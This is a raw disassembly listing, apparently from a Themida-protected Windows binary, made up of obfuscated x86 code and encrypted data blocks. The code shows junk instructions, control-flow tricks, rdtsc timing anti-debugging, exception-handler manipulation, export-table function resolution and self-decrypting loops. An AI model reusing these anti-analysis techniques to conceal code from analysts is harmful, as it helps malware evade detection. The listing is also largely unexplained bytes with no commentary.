dd 8B61C18Ah, 602C2444h, 3C15E381h, 50610A5Bh, 0FE9h, 0EE76CB00h
dd 9B0E9CCh, 0CDDE0305h, 95E9AB4Fh, 6A240489h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 7E00C355h, 473B42CAh, 8947851Ah, 0B18A985h, 0F858D06h
dd 6A060E4Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 0EF18C353h, 0F99A94Eh, 3285h
dd 11E96000h, 23000000h, 5A4ADC03h, 0B5A67541h, 51FFD74Eh
dd 635000BEh, 14E8h, 86519700h, 0D089E31Dh, 75F652A5h
dd 96EDDBB5h, 0CDE301FBh, 31615A82h, 0B27CD95h, 60D0FF06h
dd 13599589h, 14E8060Bh, 88000000h, 694720BFh, 0D45E569Fh
dd 7E4356BAh, 9C9CCEABh, 0F6E620Ah, 8Fh, 3615A00h, 6A282444h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 7996C356h, 9BF7A6C7h, 16041DFh, 0B0E698Dh
dd 0AE906h, 9FE90000h, 86192DD6h, 80646015h, 5EFCAB61h
dd 7CE38DFFh, 0BD83060Eh, 60E7CE3h, 330A7500h, 55B58DC0h
dd 0FF060E8Ch, 81AD56E6h, 28247Ch, 77100000h, 448B500Eh
dd 8D502C24h, 0E4E0F85h, 3D0FF06h, 97282444h, 858ADF8Bh
dd 60E7CDFh, 474C084h, 4C75073Ah, 0AEC03257h, 2B5EFD75h
dd 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh, 8AEA8ACDh
dd 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h, 5449F381h
dd 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h
dd 5AC18B66h, 0F74D03Bh, 4C6835Eh, 5E985FFh, 5DE9060Bh
dd 5EFFFFFFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 0BDC35242h, 8154FDB0h, 0F3C6DD0h, 0A85h, 800F6000h
dd 0
; ---------------------------------------------------------------------------
mov edx, eax
popa
stc
jmp loc_574A12
; ---------------------------------------------------------------------------
sub al, 0DDh
retf
; ---------------------------------------------------------------------------
dd 0A964E753h, 0B62F16C7h
db 0C1h, 0CAh
; ---------------------------------------------------------------------------
loc_574A12: ; CODE XREF: Themida_:00574A00j
pusha
mov di, 0D5FDh
adc di, 1AC3h
popa
mov eax, [ebp+60B05E9h]
push 0
push edx
call sub_574A2E
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_574A2E proc near ; CODE XREF: Themida_:00574A26p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_574A2E endp
; ---------------------------------------------------------------------------
dw 13ECh
; ---------------------------------------------------------------------------
sbb [ebp+ebx*8+1Bh], edi
aas
jmp loc_574A51
; ---------------------------------------------------------------------------
xchg eax, ebx
and eax, 0A5C28E41h
dec esp
loc_574A51: ; CODE XREF: Themida_:00574A45j
jl loc_574A6D
jmp loc_574A6D
; ---------------------------------------------------------------------------
dd 0A9189CEAh, 0E79B5FF3h, 88C7FBBCh, 0C42209D7h
db 20h
; ---------------------------------------------------------------------------
loc_574A6D: ; CODE XREF: Themida_:loc_574A51j
; Themida_:00574A57j
shl eax, 1
push 0
push ebp
call sub_574A7A
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_574A7A proc near ; CODE XREF: Themida_:00574A72p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_574A7A endp
; ---------------------------------------------------------------------------
add eax, 8503BC4Ch
mov [eax], ebp
or eax, [esi]
ja loc_574AA6
pusha
mov edx, [ebp+60B0C15h]
mov ebx, 4DA8D272h
popa
loc_574AA6: ; CODE XREF: Themida_:00574A93j
sub esi, esi
push 0
push ecx
call sub_574AB3
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_574AB3 proc near ; CODE XREF: Themida_:00574AABp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_574AB3 endp
; ---------------------------------------------------------------------------
db 99h
dd 8544C777h, 96FC6E41h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 7DC35242h, 0AD66A7A0h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 17h, 76C35343h, 60BDD2D4h
dd 8F0F52h, 5B000000h, 6880Fh, 890F0000h, 0
; ---------------------------------------------------------------------------
popa
shl eax, 2
push 0
push ecx
call sub_574B2F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_574B2F proc near ; CODE XREF: Themida_:00574B27p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_574B2F endp
; ---------------------------------------------------------------------------
db 0E9h
dd 0EBC7E413h, 0F84BED4Eh, 0DD9D8960h, 0B7060B27h, 85036147h
dd 60B242Dh, 0EE9BD29h, 6A96060Bh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E93AC357h
dd 6, 0FFBA0FFEh, 0FC604D1Ah, 0DE8h, 0DBC3E200h, 0A39D2FE3h
dd 0D9B45870h, 61585B62h, 51006AADh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0DF9BF7A6h
dd 64FD0041h, 0BD31D84Fh, 60B01B5h, 24247C81h, 10000000h
dd 119870Fh, 90FC0000h, 10E9h, 0B04D1000h, 0CEBA1C6Dh
dd 0FC7B39BDh, 0E9B2D496h, 0B060502Eh, 61F08BC7h, 21952990h
dd 8B060B22h, 6A282444h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 2E6FC356h, 0B0FD345Dh
dd 1D8589h, 5090060Bh, 50525052h, 5A310F52h, 0E9310F58h
dd 13h, 188CC815h, 0CCE8B9B9h, 5C282323h, 0F7B41ECFh, 5A6C7B49h
dd 50310F58h, 0F525052h, 0F585A31h, 5A616031h, 50585A58h
dd 68B0Fh, 56600000h, 615A515Ah, 52006A90h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0E1B1C535h
dd 13E860h, 910000h, 0BB745ADh, 0F5F7B037h, 757F4CDh, 933C80D1h
dd 0F9EC807Fh, 61C1B558h, 4E0F858Dh, 6A060Eh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 22233DC3h
dd 0CCCDDD66h, 0FFF59616h, 11E9D0h, 5B980000h, 6213BFB1h
dd 1EB9A71Dh, 4A02587Eh, 3DD6C00h, 29242444h, 0B1315B5h
dd 24448906h, 58D091Ch, 0C6060B10h, 0B284585h, 85C70006h
dd 60E7E94h, 0
; ---------------------------------------------------------------------------
mov dword ptr [ebp+60E7CE7h], 0
push 0
push esi
call sub_574D29
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_574D29 proc near ; CODE XREF: Themida_:00574D21p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_574D29 endp
; ---------------------------------------------------------------------------
db 0F3h, 21h, 5Fh
dd 3281A6B9h, 0F42C0C6h, 880h, 2810F00h, 60000000h, 0B1B50961h
dd 0F8060B21h, 51006A61h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 9AADFF83h, 9D0B60FCh
dd 60B1B71h, 50644EBFh, 8C26105h, 68D0F00h, 9000000h, 0B00E185h
dd 2D858B06h, 6A060B24h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 407FC356h, 6CB3EFB3h
dd 89B58960h, 0FC060B12h, 219D8961h, 4A060B15h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 1CC35141h, 0E9F0DEBCh
dd 0Ch, 0C72D6C70h, 3106CBDAh, 0F2923833h, 68B0Fh, 0B5010000h
dd 60B1A21h, 0E904D26Bh, 9, 0B9DFC346h, 89A1D326h, 0F8C203D6h
dd 7E9h, 48CBB400h, 6F82B9C3h, 56006A96h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0E9BD89F8h
dd 0E9060B22h, 10h, 5DD5DB7Dh, 9DD427E9h, 0C9A2FCAh, 7D21E180h
dd 6E960ADh, 0A6000000h, 0E0DB6259h, 68B0F7Dh, 2B000000h
dd 0B12F5BDh, 7C816106h, 2424h, 870F1000h, 126h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0AFC35242h, 4EFE3E74h
dd 0F40132CAh, 6870F8Bh, 89000000h, 0B0729B5h, 870F5006h
dd 15h, 10E9h, 0B8EA6000h, 0BF795E35h, 223AE6EBh, 0ABF33557h
dd 240489EDh, 12E9h, 6A46BD00h, 0C65F885Fh, 0DD5CF6ABh
dd 0E49939BBh, 8B3B06E5h, 0E9282444h, 0Eh, 4AAC1E37h, 0C6AAFF8Ah
dd 1D7E5D08h, 5050FE6Bh, 0D6BE6052h, 6158BFC7h, 6660310Fh
dd 66C912B9h, 6132D9B9h, 489585Ah, 56006A24h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 2003879Bh
dd 8E9101Bh, 95000000h, 0F63DD78Ch, 8DDB9E6Eh, 0E4E0F85h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 92BBA041h, 39AEB283h, 0F60D7D6h, 680h, 7FC88100h
dd 8B37F235h, 0B0F6195h, 0D0FF6106h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 94C35545h, 3CE9F8A0h, 0E9FFFFFDh
dd 0Bh, 0B9727575h, 0C4FDA033h
db 35h, 42h, 0ACh
; ---------------------------------------------------------------------------
loc_574FC3: ; CODE XREF: Themida_:loc_573D8Fj
lea eax, [ebp+60E9293h]
push 0
push eax
call sub_574FD4
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_574FD4 proc near ; CODE XREF: Themida_:00574FCCp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_574FD4 endp
; ---------------------------------------------------------------------------
lahf
adc [ecx], ah
fiadd word ptr [ebx-7Ah]
scasd
xlat
cmpsb
xchg ebp, [ecx]
mov ch, 61h
adc [ebx], cl
push es
nop
jmp loc_57500A
; ---------------------------------------------------------------------------
dw 2419h
dd 29D16E53h, 4D6B3A19h, 0F964F7E9h
db 0C6h, 9Dh
; ---------------------------------------------------------------------------
loc_57500A: ; CODE XREF: Themida_:00574FF5j
push eax
jl loc_57501F
push eax
push edx
pusha
popa
rdtsc
js $+6
pop edx
pop eax
loc_57501F: ; CODE XREF: Themida_:0057500Bj
nop
push 0
push esi
call sub_57502B
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57502B proc near ; CODE XREF: Themida_:00575023p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_57502B endp
; ---------------------------------------------------------------------------
db 8Ch
; ---------------------------------------------------------------------------
aas
mov [ebp+60B27C5h], eax
push large dword ptr fs:0
push 0
push esi
call sub_575055
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_575055 proc near ; CODE XREF: Themida_:0057504Dp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_575055 endp
; ---------------------------------------------------------------------------
movsb
daa
sub [edi-0A4A76CFh], eax
or eax, cs:[esi]
mov eax, [esp]
push 0
push ebp
call sub_57507E
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57507E proc near ; CODE XREF: Themida_:00575076p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_57507E endp
; ---------------------------------------------------------------------------
ja short near ptr loc_5750C5+7
cmp ch, dl
sbb al, 0C2h
wait
jmp loc_5750A3
; ---------------------------------------------------------------------------
dw 0CE3Fh
; ---------------------------------------------------------------------------
test al, 93h
retf
; ---------------------------------------------------------------------------
db 0F9h
db 0D3h, 0A2h, 0C5h
; ---------------------------------------------------------------------------
loc_5750A3: ; CODE XREF: Themida_:00575095j
jnp loc_5750AF
mov [ebp+60B3371h], ecx
loc_5750AF: ; CODE XREF: Themida_:loc_5750A3j
mov [ebp+60B0925h], eax
push 0
push ecx
call sub_5750C0
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5750C0 proc near ; CODE XREF: Themida_:005750B8p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
loc_5750C5: ; CODE XREF: Themida_:0057508Ej
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5750C0 endp
; ---------------------------------------------------------------------------
dd 92055E29h, 0EE7E3C7Dh, 0B52B6004h, 60B18A1h, 61C28B66h
dd 27619531h, 8964060Bh, 25h, 0E9952900h, 8D060B0Ah, 0E90A485h
dd 49852906h, 89060B28h, 95890160h, 60B1925h, 253E9h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 5399CE1Eh, 0F5958B60h, 8B060B03h, 0DB8B61C2h, 0E8h
dd 0ED815D00h, 60E909Dh, 12FF9CBCh, 11BD8300h, 60B16h
dd 858B1874h, 60B2EC5h, 8B0000C6h, 0B276585h, 0C606h, 2F4D95FFh
dd 0FF60060Bh, 0E78EBB5h, 0EF858D06h, 50060E78h, 7AE7858Dh
dd 0FF50060Eh, 0B000D95h, 0CC48306h, 0B9606061h, 22707BEEh
dd 6A6161h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 0B44DCCC3h, 0B58DC73Ch, 60E7AE7h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 13C35343h, 728CBA6Ah
dd 60ACF80Ah, 68C0Fh, 95890000h, 60B03D5h, 61F28B66h, 18A0Fh
dd 8DF50000h, 0B24BDBDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 0C3C64727h, 7846EB5Fh
dd 3E80F506h, 68840F00h, 0F000000h, 181h, 9501F900h, 60B010Dh
dd 13E9A4h, 0AEA10000h, 0DDAE2E2Eh, 474BC085h, 162D95EAh
dd 7C35A6F5h, 0FFCCE9D9h, 6AFFFFh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 0A15158C3h, 5841E9Fh
dd 8B666050h, 83F8B8FBh, 0F612DFCh, 0A86h, 5E900h, 0B7840000h
dd 0B89C4530h, 0
; ---------------------------------------------------------------------------
jmp loc_5752A5
; ---------------------------------------------------------------------------
db 0FEh, 9, 0ABh
dd 0A71414D3h
db 0C6h
; ---------------------------------------------------------------------------
loc_5752A5: ; CODE XREF: Themida_:00575298j
stosb
mov [ebp+60B0829h], esi
mov eax, 7
pusha
jmp loc_5752C7
; ---------------------------------------------------------------------------
db 65h
dd 14EA64D2h, 619B11ADh, 0E9F40F58h
db 28h, 0D2h, 0A9h
; ---------------------------------------------------------------------------
loc_5752C7: ; CODE XREF: Themida_:005752B2j
mov ax, 886Dh
popa
mov dword ptr [ebp+60B0C3Dh], 1
push 0
push ebp
call sub_5752E1
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5752E1 proc near ; CODE XREF: Themida_:005752D9p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5752E1 endp
; ---------------------------------------------------------------------------
xchg eax, esi
pop edi
add al, 3Ah
sub ds:8D8DAA9Fh, cl
xlat
dec ebp
or eax, [esi]
jbe loc_57530B
add [ebp+60B05D5h], ebx
loc_57530B: ; CODE XREF: Themida_:005752FFj
jmp ecx
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_575318
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_575318 proc near ; CODE XREF: Themida_:00575310p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_575318 endp
; ---------------------------------------------------------------------------
adc ebp, [ebx]
aas
mov [ebp+60B1B71h], edi
xor [ebp+60B329Dh], edi
mov ebx, [esp+0Ch]
push ebp
call $+5
pop ebp
sub ebp, 60E929Dh
mov eax, [ebx+0B8h]
mov [ebp+60E78EBh], eax
lea eax, [ebp+60E9096h]
mov [ebx+0B8h], eax
pop ebp
xor eax, eax
retn
; ---------------------------------------------------------------------------
push 0
push edi
call sub_57536F
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57536F proc near ; CODE XREF: Themida_:00575367p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_57536F endp
; ---------------------------------------------------------------------------
rcr byte ptr [esi-12h], 1
and al, 2Eh
mov [ebp+60B2061h], edi
push 0
push eax
call sub_575395
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_575395 proc near ; CODE XREF: Themida_:0057538Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_575395 endp
; ---------------------------------------------------------------------------
db 0A7h, 3, 9
dd 0B2EC995h, 0B5896006h, 60B277Dh, 2E658D09h, 6061060Bh
dd 0CF858DF5h, 31060E94h, 0B33A99Dh, 8B609006h, 0B003BEFAh
dd 50613C2Bh, 840F5250h, 6, 310F5250h, 310F585Ah, 0DF8B6660h
dd 90585A61h, 7E9FCh, 41460000h, 0F09B3AA9h, 35FF64F2h
dd 0
; ---------------------------------------------------------------------------
mov [ebp+60B1161h], esi
pusha
jmp loc_575413
; ---------------------------------------------------------------------------
dd 0D8210239h
db 0FEh, 20h, 8Ch
; ---------------------------------------------------------------------------
loc_575413: ; CODE XREF: Themida_:00575407j
jmp loc_57542C
; ---------------------------------------------------------------------------
dd 14127BA7h, 0F82E50D5h, 0CE496010h, 36C81FD2h, 71C47955h
; ---------------------------------------------------------------------------
loc_57542C: ; CODE XREF: Themida_:loc_575413j
popa
mov large fs:0, esp
mov [ebp+60B2181h], ebx
lea eax, [ebp+60E954Fh]
sub [ebp+60B011Dh], ecx
xor [ebp+60B3179h], esi
mov [eax+1], esp
pusha
sub eax, [ebp+60B0ED5h]
mov [ebp+60B0789h], edi
popa
mov byte ptr [ebp+60B2845h], 4Fh
push 0
push ebp
call sub_57546F
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57546F proc near ; CODE XREF: Themida_:00575467p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_57546F endp
; ---------------------------------------------------------------------------
db 72h
; ---------------------------------------------------------------------------
clc
cld
push 8EA509E4h
pusha
jmp loc_575493
; ---------------------------------------------------------------------------
movsb
mov edx, 899F4206h
loc_575493: ; CODE XREF: Themida_:00575488j
mov cx, 42B5h
popa
add dword ptr [esp], 70236A46h
push 0
push ebp
call sub_5754AA
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5754AA proc near ; CODE XREF: Themida_:005754A2p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5754AA endp
; ---------------------------------------------------------------------------
jecxz short loc_575523
pusha
movzx eax, cx
mov [ebp+60B2211h], edi
popa
stc
push dword ptr [ebp+60B1355h]
cmc
lea eax, [ebp+60E7D18h]
push 0
push esi
call sub_5754E0
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5754E0 proc near ; CODE XREF: Themida_:005754D8p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5754E0 endp
; ---------------------------------------------------------------------------
dd 0B1621Fh, 31DC388Dh, 0B059D9Dh, 0B5896006h, 60B1A25h
dd 11E8h, 638B700h, 2D7BB8D0h, 6D95AAECh, 9D0C0DEFh, 58F5C0F2h
dd 6AD0FF61h
db 0, 55h, 0E8h
; ---------------------------------------------------------------------------
loc_575523: ; CODE XREF: Themida_:005754BAj
add eax, [eax]
; ---------------------------------------------------------------------------
db 2 dup(0), 20h
; ---------------------------------------------------------------------------
pop ebp
retn
; ---------------------------------------------------------------------------
pop ebp
mov [esp+4], ebp
add dword ptr [esp+4], 1Ah
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
xchg eax, esi
fsubr qword ptr [edi+595516CDh]
pusha
mov eax, 5A1BE411h
push eax
pop esi
popa
add [ebp+60B010Dh], ebx
jmp loc_5755F3
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_575560
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_575560 proc near ; CODE XREF: Themida_:00575558p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_575560 endp
; ---------------------------------------------------------------------------
dd 8B5BA9F0h, 550C245Ch, 0E8h, 0ED815D00h, 60E94D9h, 0B01858Bh
dd 8589060Bh, 60B1355h, 315858Bh, 8589060Bh, 60B27F5h
dd 194D858Bh, 8589060Bh, 60B0701h, 284585C6h, 0C700060Bh
dd 0E7E9485h, 6, 4F858D00h, 89060E95h, 0B883h, 0C0335D00h
dd 3D9589C3h, 6A060B10h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 0F7E8C357h, 9D85099Dh
db 5, 0Bh, 6
; ---------------------------------------------------------------------------
loc_5755F3: ; CODE XREF: Themida_:00575550j
mov esp, 12FF74h
sub [ebp+60B0595h], eax
pop large dword ptr fs:0
push 0
push esi
call sub_575610
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_575610 proc near ; CODE XREF: Themida_:00575608p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_575610 endp
; ---------------------------------------------------------------------------
pop edx
jmp loc_575630
; ---------------------------------------------------------------------------
dw 0FFABh
dd 98C2B3C5h, 0C366151h
; ---------------------------------------------------------------------------
loc_575630: ; CODE XREF: Themida_:00575621j
jbe loc_57563C
add [ebp+60B1215h], edx
loc_57563C: ; CODE XREF: Themida_:loc_575630j
pusha
mov bl, 96h
adc esi, 6FBB46AAh
popa
add esp, 4
add [ebp+60B220Dh], esi
popa
jmp loc_5756D8
; ---------------------------------------------------------------------------
push ebx
push ecx
push edx
push esi
push edi
mov ebx, [esp+1Ch]
cmp word ptr [ebx], 5A4Dh
jnz loc_5756D1
movzx eax, word ptr [ebx+3Ch]
add ebx, eax
cmp word ptr [ebx], 4550h
jnz loc_5756D1
mov ebx, [ebx+78h]
add ebx, [esp+1Ch]
mov esi, [ebx+24h]
add esi, [esp+1Ch]
push esi
mov edi, [ebx+20h]
mov esi, [ebx+1Ch]
add edi, [esp+20h]
add esi, [esp+20h]
cld
or ecx, 0FFFFFFFFh
loc_57569B: ; CODE XREF: Themida_:005756B1j
; Themida_:005756B9j
inc ecx
mov ebx, [esp+1Ch]
mov edx, [edi]
add edx, [esp+20h]
add edi, 4
loc_5756A9: ; CODE XREF: Themida_:005756B5j
mov al, [edx]
test al, al
jz short loc_5756B7
cmp al, [ebx]
jnz short loc_57569B
inc ebx
inc edx
jmp short loc_5756A9
; ---------------------------------------------------------------------------
loc_5756B7: ; CODE XREF: Themida_:005756ADj
cmp al, [ebx]
jnz short loc_57569B
pop edi
shl ecx, 1
movzx eax, word ptr [edi+ecx]
mov eax, [esi+eax*4]
add eax, [esp+1Ch]
loc_5756C9: ; CODE XREF: Themida_:005756D3j
pop edi
pop esi
pop edx
pop ecx
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_5756D1: ; CODE XREF: Themida_:00575663j
; Themida_:00575674j
xor eax, eax
jmp loc_5756C9
; ---------------------------------------------------------------------------
loc_5756D8: ; CODE XREF: Themida_:00575650j
mov ecx, edx
call loc_5756E7
dec esi
loc_5756E0: ; CODE XREF: Themida_:00575720j
xchg eax, ebp
sub ebp, esp
dec ecx
sbb [edx], ebx
daa
loc_5756E7: ; CODE XREF: Themida_:005756DAp
jmp loc_5756F1
; ---------------------------------------------------------------------------
dd 2382A580h
db 0B9h
; ---------------------------------------------------------------------------
loc_5756F1: ; CODE XREF: Themida_:loc_5756E7j
pop esi
mov ebx, 4A61D0DEh
add esi, 6922h
push ebx
jmp loc_57570F
; ---------------------------------------------------------------------------
db 65h
dd 99F06836h, 91D3D6DDh
db 33h, 18h, 86h
; ---------------------------------------------------------------------------
loc_57570F: ; CODE XREF: Themida_:005756FEj
pop edx
push 1A11h
jmp loc_575726
; ---------------------------------------------------------------------------
das
mov eax, ds:57389E0Dh
jmp short loc_5756E0
; ---------------------------------------------------------------------------
dw 217Ah
db 0A0h, 0DBh
; ---------------------------------------------------------------------------
loc_575726: ; CODE XREF: Themida_:00575715j
pop eax
adc dx, 9336h
loc_57572C: ; CODE XREF: Themida_:005757AAj
mov edi, [esi]
movsx edx, si
sub edi, 4D6DB8D3h
jge loc_575745
jbe loc_575745
mov dl, 72h
loc_575745: ; CODE XREF: Themida_:00575737j
; Themida_:0057573Dj
xor edi, 65F0F321h
jz loc_575756
adc dx, 2C81h
loc_575756: ; CODE XREF: Themida_:0057574Bj
sub edi, 42C843BFh
pusha
cmc
mov bl, ch
popa
push edi
and dl, 5Ah
pop dword ptr [esi]
jmp loc_575774
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0B9h, 3Ah, 8Bh
dd 0A9E54939h
; ---------------------------------------------------------------------------
loc_575774: ; CODE XREF: Themida_:00575767j
sub esi, 2
mov ebx, esi
dec esi
dec esi
xor edx, 698A6F67h
sub eax, 1
jnz loc_5757A4
xor bx, 0E3B3h
jmp loc_5757C1
; ---------------------------------------------------------------------------
dd 0D69345C1h, 18418779h, 0AF71F254h, 31A09748h
; ---------------------------------------------------------------------------
loc_5757A4: ; CODE XREF: Themida_:00575784j
xor ebx, 2F698FD4h
jmp loc_57572C
; ---------------------------------------------------------------------------
db 0EFh
dd 9252C9FDh, 4A992794h, 9D86D175h, 6D3D4CB4h
db 0C7h
; ---------------------------------------------------------------------------
loc_5757C1: ; CODE XREF: Themida_:0057578Fj
call sub_5757CF
sti
; ---------------------------------------------------------------------------
db 0Fh
dd 0A11C2271h
db 7Ch, 5, 18h
; =============== S U B R O U T I N E =======================================
sub_5757CF proc near ; CODE XREF: Themida_:loc_5757C1p
jnp loc_5757E7
call sub_5757E6
jmp far ptr 5D06h:5FC80E45h
sub_5757CF endp
; ---------------------------------------------------------------------------
db 5Ch, 0D2h, 15h
db 94h, 10h
; =============== S U B R O U T I N E =======================================
sub_5757E6 proc near ; CODE XREF: sub_5757CF+6p
pop edx
loc_5757E7: ; CODE XREF: sub_5757CFj
pop edi
add edi, 6B1Ch
and dh, 0C1h
sub ebx, ebx
js loc_575817
jns loc_575817
jmp loc_575817
; ---------------------------------------------------------------------------
dd 0F343E152h, 0BAAE7559h, 823C8108h, 25884514h
db 68h, 0D9h, 0BEh
; ---------------------------------------------------------------------------
loc_575817: ; CODE XREF: sub_5757E6+Dj
; sub_5757E6+13j ...
push dword ptr [ebx+edi]
sub edx, 3CF3D624h
pop esi
add esi, 3E8A2A06h
mov ecx, 2D896138h
sub esi, 4EE044CFh
sbb ax, 8B9Bh
sub esi, 1CCBDE98h
jmp loc_57584D
; ---------------------------------------------------------------------------
dw 0B919h
dd 9E10D608h, 0F78F3A45h
db 3Ah
; ---------------------------------------------------------------------------
loc_57584D: ; CODE XREF: sub_5757E6+57j
mov [edi+ebx], esi
add dx, 676Bh
sub ebx, 4
jnp loc_575861
mov dx, cx
loc_575861: ; CODE XREF: sub_5757E6+72j
cmp ebx, 0FFFF95B8h
jnz loc_575887
mov dx, 8426h
jmp loc_57589E
; ---------------------------------------------------------------------------
dw 15CDh
dd 0A058FC65h, 7163D328h, 67024F2Eh
db 8Ch, 9, 0D9h
; ---------------------------------------------------------------------------
loc_575887: ; CODE XREF: sub_5757E6+81j
sub cl, 0D2h
jmp loc_575817
; ---------------------------------------------------------------------------
db 0F6h
dd 0C8FA464Dh, 0AB94660Bh, 78596C3Ch
db 0A3h, 9Dh
; ---------------------------------------------------------------------------
loc_57589E: ; CODE XREF: sub_5757E6+8Bj
jmp loc_575988
; ---------------------------------------------------------------------------
db 10h
dd 0DCFFEE4Dh, 1D1F3271h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh
dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h
dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h
dd 6D171E57h, 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh
dd 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h
dd 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h
